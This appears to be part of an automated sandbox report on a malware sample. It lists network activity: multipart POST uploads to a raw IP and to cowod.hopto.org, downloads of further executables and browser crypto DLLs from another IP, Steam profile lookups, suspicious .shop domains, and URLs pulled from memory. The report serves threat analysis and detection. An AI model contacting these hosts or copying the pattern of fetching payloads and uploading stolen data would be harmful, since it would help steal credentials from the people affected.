Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /prog/66f5dbaca34ac_lfdnsafnds.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /prog/66f5db9e54794_vfkagks.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /prog/66f5de72d9ebd_rdp.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGIDGDGHCAAAAKKFCGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: cowod.hopto.orgContent-Length: 3161Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00406963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle, 3_2_00406963
Source: global traffic HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /prog/66f5dbaca34ac_lfdnsafnds.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /prog/66f5db9e54794_vfkagks.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /prog/66f5de72d9ebd_rdp.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /prog/66f55533ca7d6_RDPWInst.exe HTTP/1.1Host: 147.45.44.104Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic DNS traffic detected: DNS query: wallkedsleeoi.shop
Source: global traffic DNS traffic detected: DNS query: gutterydhowi.shop
Source: global traffic DNS traffic detected: DNS query: ghostreedmnu.shop
Source: global traffic DNS traffic detected: DNS query: offensivedzvju.shop
Source: global traffic DNS traffic detected: DNS query: vozmeatillu.shop
Source: global traffic DNS traffic detected: DNS query: drawzhotdog.shop
Source: global traffic DNS traffic detected: DNS query: fragnantbui.shop
Source: global traffic DNS traffic detected: DNS query: cowod.hopto.org
Source: global traffic DNS traffic detected: DNS query: stogeneratmns.shop
Source: global traffic DNS traffic detected: DNS query: reinforcenh.shop
Source: global traffic DNS traffic detected: DNS query: ballotnwu.site
Source: global traffic DNS traffic detected: DNS query: api.ipify.org
Source: global traffic DNS traffic detected: DNS query: hansgborn.eu
Source: unknown HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBAKKJDBKJJJKFHDAEBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe
Source: RegAsm.exe, 00000003.00000002.2843926018.000000000150A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2843926018.0000000001626000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f5db9e54794_vfkagks.exe
Source: RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f5db9e54794_vfkagks.exem-data;
Source: RegAsm.exe, 00000003.00000002.2843926018.000000000150A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2843926018.00000000015C5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2843926018.000000000163F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f5dbaca34ac_lfdnsafnds.exe
Source: RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f5dbaca34ac_lfdnsafnds.exe1kkkk1220804http://147.45.44.104/prog/66f5db9e
Source: RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f5dbaca34ac_lfdnsafnds.exeata;
Source: RegAsm.exe, 00000003.00000002.2843926018.000000000163F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f5dbaca34ac_lfdnsafnds.exes
Source: RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f5de72d9ebd_rdp.exe
Source: file.exe, 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr, GIJEGDAKEH.exe.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000003027000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.ipify.org
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000003008000.00000004.00000800.00020000.00000000.sdmp, BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000003027000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.ipify.org/
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000003008000.00000004.00000800.00020000.00000000.sdmp, BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000003027000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.ipify.orgd
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe, 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr, GIJEGDAKEH.exe.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr, GIJEGDAKEH.exe.3.dr, nss3.dll.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.BKFIDHJKFCAF
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.JKFCAF
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.org
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001626000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.org/
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.orgCAF
Source: file.exe, 00000000.00000002.2144529083.0000000003AB5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hoptoHJKFCAF
Source: file.exe, 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr, GIJEGDAKEH.exe.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: file.exe, 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr, GIJEGDAKEH.exe.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr, GIJEGDAKEH.exe.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr, GIJEGDAKEH.exe.3.dr, nss3.dll.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr, GIJEGDAKEH.exe.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000003027000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://hansgborn.eu
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000003027000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://hansgborn.eud
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr, GIJEGDAKEH.exe.3.dr, nss3.dll.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr String found in binary or memory: http://ocsp.digicert.com0
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr, GIJEGDAKEH.exe.3.dr, nss3.dll.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: http://ocsp.digicert.com0N
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr, GIJEGDAKEH.exe.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr String found in binary or memory: http://ocsp.entrust.net02
Source: file.exe, 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr, GIJEGDAKEH.exe.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr String found in binary or memory: http://ocsp.entrust.net03
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052446912.0000000002DB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052446912.0000000002DB0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RDPWInst.exe, 00000016.00000000.2818017493.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, RDPWInst.exe.15.dr String found in binary or memory: http://stascorp.com/load/1-1-0-62
Source: BKJKEBGDHD.exe, 0000000F.00000002.3052610087.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000016.00000002.2858987262.0000000000450000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: http://stascorp.comDVarFileInfo$
